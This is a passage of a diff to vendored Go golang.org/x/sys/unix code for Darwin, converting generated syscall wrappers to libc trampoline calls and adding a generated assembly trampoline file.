-+func libc_settimeofday_trampoline()
-
--func Setuid(uid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_settimeofday libc_settimeofday
-+//go:cgo_import_dynamic libc_settimeofday settimeofday "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Stat(path string, stat *Stat_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STAT64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+func Setuid(uid int) (err error) {
-+ _, _, e1 := syscall_rawSyscall(funcPC(libc_setuid_trampoline), uintptr(uid), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+func libc_setuid_trampoline()
-
--func Statfs(path string, stat *Statfs_t) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_STATFS64, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
-+//go:linkname libc_setuid libc_setuid
-+//go:cgo_import_dynamic libc_setuid setuid "/usr/lib/libSystem.B.dylib"
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-@@ -1416,13 +2100,18 @@ func Symlink(path string, link string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlink_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlink_trampoline()
-+
-+//go:linkname libc_symlink libc_symlink
-+//go:cgo_import_dynamic libc_symlink symlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
-@@ -1436,23 +2125,33 @@ func Symlinkat(oldpath string, newdirfd int, newpath string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_SYMLINKAT, uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
-+ _, _, e1 := syscall_syscall(funcPC(libc_symlinkat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_symlinkat_trampoline()
-+
-+//go:linkname libc_symlinkat libc_symlinkat
-+//go:cgo_import_dynamic libc_symlinkat symlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Sync() (err error) {
-- _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_sync_trampoline), 0, 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_sync_trampoline()
-+
-+//go:linkname libc_sync libc_sync
-+//go:cgo_import_dynamic libc_sync sync "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Truncate(path string, length int64) (err error) {
-@@ -1461,21 +2160,31 @@ func Truncate(path string, length int64) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
-+ _, _, e1 := syscall_syscall(funcPC(libc_truncate_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(length), uintptr(length>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_truncate_trampoline()
-+
-+//go:linkname libc_truncate libc_truncate
-+//go:cgo_import_dynamic libc_truncate truncate "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Umask(newmask int) (oldmask int) {
-- r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0)
-+ r0, _, _ := syscall_syscall(funcPC(libc_umask_trampoline), uintptr(newmask), 0, 0)
- oldmask = int(r0)
- return
- }
-
-+func libc_umask_trampoline()
-+
-+//go:linkname libc_umask libc_umask
-+//go:cgo_import_dynamic libc_umask umask "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Undelete(path string) (err error) {
-@@ -1484,13 +2193,18 @@ func Undelete(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNDELETE, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_undelete_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_undelete_trampoline()
-+
-+//go:linkname libc_undelete libc_undelete
-+//go:cgo_import_dynamic libc_undelete undelete "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlink(path string) (err error) {
-@@ -1499,13 +2213,18 @@ func Unlink(path string) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlink_trampoline), uintptr(unsafe.Pointer(_p0)), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlink_trampoline()
-+
-+//go:linkname libc_unlink libc_unlink
-+//go:cgo_import_dynamic libc_unlink unlink "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unlinkat(dirfd int, path string, flags int) (err error) {
-@@ -1514,13 +2233,18 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNLINKAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
-+ _, _, e1 := syscall_syscall(funcPC(libc_unlinkat_trampoline), uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(flags))
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unlinkat_trampoline()
-+
-+//go:linkname libc_unlinkat libc_unlinkat
-+//go:cgo_import_dynamic libc_unlinkat unlinkat "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Unmount(path string, flags int) (err error) {
-@@ -1529,13 +2253,18 @@ func Unmount(path string, flags int) (err error) {
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_unmount_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_unmount_trampoline()
-+
-+//go:linkname libc_unmount libc_unmount
-+//go:cgo_import_dynamic libc_unmount unmount "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func write(fd int, p []byte) (n int, err error) {
-@@ -1545,7 +2274,7 @@ func write(fd int, p []byte) (n int, err error) {
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(_p0), uintptr(len(p)))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1553,10 +2282,15 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+func libc_write_trampoline()
-+
-+//go:linkname libc_write libc_write
-+//go:cgo_import_dynamic libc_write write "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
-- r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
-+ r0, _, e1 := syscall_syscall9(funcPC(libc_mmap_trampoline), uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos), uintptr(pos>>32), 0, 0)
- ret = uintptr(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1564,20 +2298,30 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+func libc_mmap_trampoline()
-+
-+//go:linkname libc_mmap libc_mmap
-+//go:cgo_import_dynamic libc_mmap mmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-+ _, _, e1 := syscall_syscall(funcPC(libc_munmap_trampoline), uintptr(addr), uintptr(length), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
- return
- }
-
-+func libc_munmap_trampoline()
-+
-+//go:linkname libc_munmap libc_munmap
-+//go:cgo_import_dynamic libc_munmap munmap "/usr/lib/libSystem.B.dylib"
-+
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_read_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1588,7 +2332,7 @@ func readlen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
-+ r0, _, e1 := syscall_syscall(funcPC(libc_write_trampoline), uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1599,7 +2343,7 @@ func writelen(fd int, buf *byte, nbuf int) (n int, err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
-- r0, r1, e1 := RawSyscall(SYS_GETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0)
-+ r0, r1, e1 := syscall_rawSyscall(funcPC(libc_gettimeofday_trampoline), uintptr(unsafe.Pointer(tp)), 0, 0)
- sec = int32(r0)
- usec = int32(r1)
- if e1 != 0 {
-@@ -1607,3 +2351,134 @@ func gettimeofday(tp *Timeval) (sec int32, usec int32, err error) {
- }
- return
- }
-+
-+func libc_gettimeofday_trampoline()
-+
-+//go:linkname libc_gettimeofday libc_gettimeofday
-+//go:cgo_import_dynamic libc_gettimeofday gettimeofday "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstat(fd int, stat *Stat_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstat_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstat_trampoline()
-+
-+//go:linkname libc_fstat libc_fstat
-+//go:cgo_import_dynamic libc_fstat fstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatat(fd int, path string, stat *Stat_t, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall6(funcPC(libc_fstatat_trampoline), uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), uintptr(flags), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatat_trampoline()
-+
-+//go:linkname libc_fstatat libc_fstatat
-+//go:cgo_import_dynamic libc_fstatat fstatat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, stat *Statfs_t) (err error) {
-+ _, _, e1 := syscall_syscall(funcPC(libc_fstatfs_trampoline), uintptr(fd), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fstatfs_trampoline()
-+
-+//go:linkname libc_fstatfs libc_fstatfs
-+//go:cgo_import_dynamic libc_fstatfs fstatfs "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getfsstat(buf unsafe.Pointer, size uintptr, flags int) (n int, err error) {
-+ r0, _, e1 := syscall_syscall(funcPC(libc_getfsstat_trampoline), uintptr(buf), uintptr(size), uintptr(flags))
-+ n = int(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_getfsstat_trampoline()
-+
-+//go:linkname libc_getfsstat libc_getfsstat
-+//go:cgo_import_dynamic libc_getfsstat getfsstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lstat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_lstat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_lstat_trampoline()
-+
-+//go:linkname libc_lstat libc_lstat
-+//go:cgo_import_dynamic libc_lstat lstat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Stat(path string, stat *Stat_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_stat_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_stat_trampoline()
-+
-+//go:linkname libc_stat libc_stat
-+//go:cgo_import_dynamic libc_stat stat "/usr/lib/libSystem.B.dylib"
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, stat *Statfs_t) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := syscall_syscall(funcPC(libc_statfs_trampoline), uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_statfs_trampoline()
-+
-+//go:linkname libc_statfs libc_statfs
-+//go:cgo_import_dynamic libc_statfs statfs "/usr/lib/libSystem.B.dylib"
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.s b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.s
-new file mode 100644
-index 00000000..b67f518f
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_darwin_arm.s
-@@ -0,0 +1,282 @@
-+// go run mkasm_darwin.go arm
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build go1.12
-+
-+#include "textflag.h"
-+TEXT ·libc_getgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgroups(SB)
-+TEXT ·libc_setgroups_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgroups(SB)
-+TEXT ·libc_wait4_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_wait4(SB)
-+TEXT ·libc_accept_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_accept(SB)
-+TEXT ·libc_bind_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_bind(SB)
-+TEXT ·libc_connect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_connect(SB)
-+TEXT ·libc_socket_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socket(SB)
-+TEXT ·libc_getsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockopt(SB)
-+TEXT ·libc_setsockopt_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsockopt(SB)
-+TEXT ·libc_getpeername_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpeername(SB)
-+TEXT ·libc_getsockname_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsockname(SB)
-+TEXT ·libc_shutdown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_shutdown(SB)
-+TEXT ·libc_socketpair_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_socketpair(SB)
-+TEXT ·libc_recvfrom_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvfrom(SB)
-+TEXT ·libc_sendto_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendto(SB)
-+TEXT ·libc_recvmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_recvmsg(SB)
-+TEXT ·libc_sendmsg_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendmsg(SB)
-+TEXT ·libc_kevent_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kevent(SB)
-+TEXT ·libc_utimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_utimes(SB)
-+TEXT ·libc_futimes_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_futimes(SB)
-+TEXT ·libc_poll_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_poll(SB)
-+TEXT ·libc_madvise_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_madvise(SB)
-+TEXT ·libc_mlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlock(SB)
-+TEXT ·libc_mlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mlockall(SB)
-+TEXT ·libc_mprotect_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mprotect(SB)
-+TEXT ·libc_msync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_msync(SB)
-+TEXT ·libc_munlock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlock(SB)
-+TEXT ·libc_munlockall_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_munlockall(SB)
-+TEXT ·libc_getattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getattrlist(SB)
-+TEXT ·libc_pipe_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pipe(SB)
-+TEXT ·libc_getxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getxattr(SB)
-+TEXT ·libc_fgetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fgetxattr(SB)
-+TEXT ·libc_setxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setxattr(SB)
-+TEXT ·libc_fsetxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsetxattr(SB)
-+TEXT ·libc_removexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_removexattr(SB)
-+TEXT ·libc_fremovexattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fremovexattr(SB)
-+TEXT ·libc_listxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listxattr(SB)
-+TEXT ·libc_flistxattr_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flistxattr(SB)
-+TEXT ·libc_setattrlist_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setattrlist(SB)
-+TEXT ·libc_fcntl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fcntl(SB)
-+TEXT ·libc_kill_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kill(SB)
-+TEXT ·libc_ioctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ioctl(SB)
-+TEXT ·libc_sysctl_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sysctl(SB)
-+TEXT ·libc_sendfile_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_sendfile(SB)
-+TEXT ·libc_access_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_access(SB)
-+TEXT ·libc_adjtime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_adjtime(SB)
-+TEXT ·libc_chdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chdir(SB)
-+TEXT ·libc_chflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chflags(SB)
-+TEXT ·libc_chmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chmod(SB)
-+TEXT ·libc_chown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chown(SB)
-+TEXT ·libc_chroot_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_chroot(SB)
-+TEXT ·libc_clock_gettime_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_clock_gettime(SB)
-+TEXT ·libc_close_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_close(SB)
-+TEXT ·libc_dup_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup(SB)
-+TEXT ·libc_dup2_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_dup2(SB)
-+TEXT ·libc_exchangedata_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exchangedata(SB)
-+TEXT ·libc_exit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_exit(SB)
-+TEXT ·libc_faccessat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_faccessat(SB)
-+TEXT ·libc_fchdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchdir(SB)
-+TEXT ·libc_fchflags_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchflags(SB)
-+TEXT ·libc_fchmod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmod(SB)
-+TEXT ·libc_fchmodat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchmodat(SB)
-+TEXT ·libc_fchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchown(SB)
-+TEXT ·libc_fchownat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fchownat(SB)
-+TEXT ·libc_flock_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_flock(SB)
-+TEXT ·libc_fpathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fpathconf(SB)
-+TEXT ·libc_fsync_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_fsync(SB)
-+TEXT ·libc_ftruncate_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_ftruncate(SB)
-+TEXT ·libc_getdtablesize_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getdtablesize(SB)
-+TEXT ·libc_getegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getegid(SB)
-+TEXT ·libc_geteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_geteuid(SB)
-+TEXT ·libc_getgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getgid(SB)
-+TEXT ·libc_getpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgid(SB)
-+TEXT ·libc_getpgrp_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpgrp(SB)
-+TEXT ·libc_getpid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpid(SB)
-+TEXT ·libc_getppid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getppid(SB)
-+TEXT ·libc_getpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getpriority(SB)
-+TEXT ·libc_getrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrlimit(SB)
-+TEXT ·libc_getrusage_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getrusage(SB)
-+TEXT ·libc_getsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getsid(SB)
-+TEXT ·libc_getuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_getuid(SB)
-+TEXT ·libc_issetugid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_issetugid(SB)
-+TEXT ·libc_kqueue_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_kqueue(SB)
-+TEXT ·libc_lchown_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lchown(SB)
-+TEXT ·libc_link_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_link(SB)
-+TEXT ·libc_linkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_linkat(SB)
-+TEXT ·libc_listen_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_listen(SB)
-+TEXT ·libc_mkdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdir(SB)
-+TEXT ·libc_mkdirat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkdirat(SB)
-+TEXT ·libc_mkfifo_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mkfifo(SB)
-+TEXT ·libc_mknod_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_mknod(SB)
-+TEXT ·libc_open_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_open(SB)
-+TEXT ·libc_openat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_openat(SB)
-+TEXT ·libc_pathconf_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pathconf(SB)
-+TEXT ·libc_pread_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pread(SB)
-+TEXT ·libc_pwrite_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_pwrite(SB)
-+TEXT ·libc_read_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_read(SB)
-+TEXT ·libc_readlink_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlink(SB)
-+TEXT ·libc_readlinkat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_readlinkat(SB)
-+TEXT ·libc_rename_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rename(SB)
-+TEXT ·libc_renameat_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_renameat(SB)
-+TEXT ·libc_revoke_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_revoke(SB)
-+TEXT ·libc_rmdir_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_rmdir(SB)
-+TEXT ·libc_lseek_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_lseek(SB)
-+TEXT ·libc_select_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_select(SB)
-+TEXT ·libc_setegid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setegid(SB)
-+TEXT ·libc_seteuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_seteuid(SB)
-+TEXT ·libc_setgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setgid(SB)
-+TEXT ·libc_setlogin_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setlogin(SB)
-+TEXT ·libc_setpgid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpgid(SB)
-+TEXT ·libc_setpriority_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setpriority(SB)
-+TEXT ·libc_setprivexec_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setprivexec(SB)
-+TEXT ·libc_setregid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setregid(SB)
-+TEXT ·libc_setreuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setreuid(SB)
-+TEXT ·libc_setrlimit_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setrlimit(SB)
-+TEXT ·libc_setsid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setsid(SB)
-+TEXT ·libc_settimeofday_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_settimeofday(SB)
-+TEXT ·libc_setuid_trampoline(SB),NOSPLIT,$0-0
-+ JMP libc_setuid(SB)
-+TEXT ·libc_symlink_trampoline(SB),NOSPLIT,$0-0
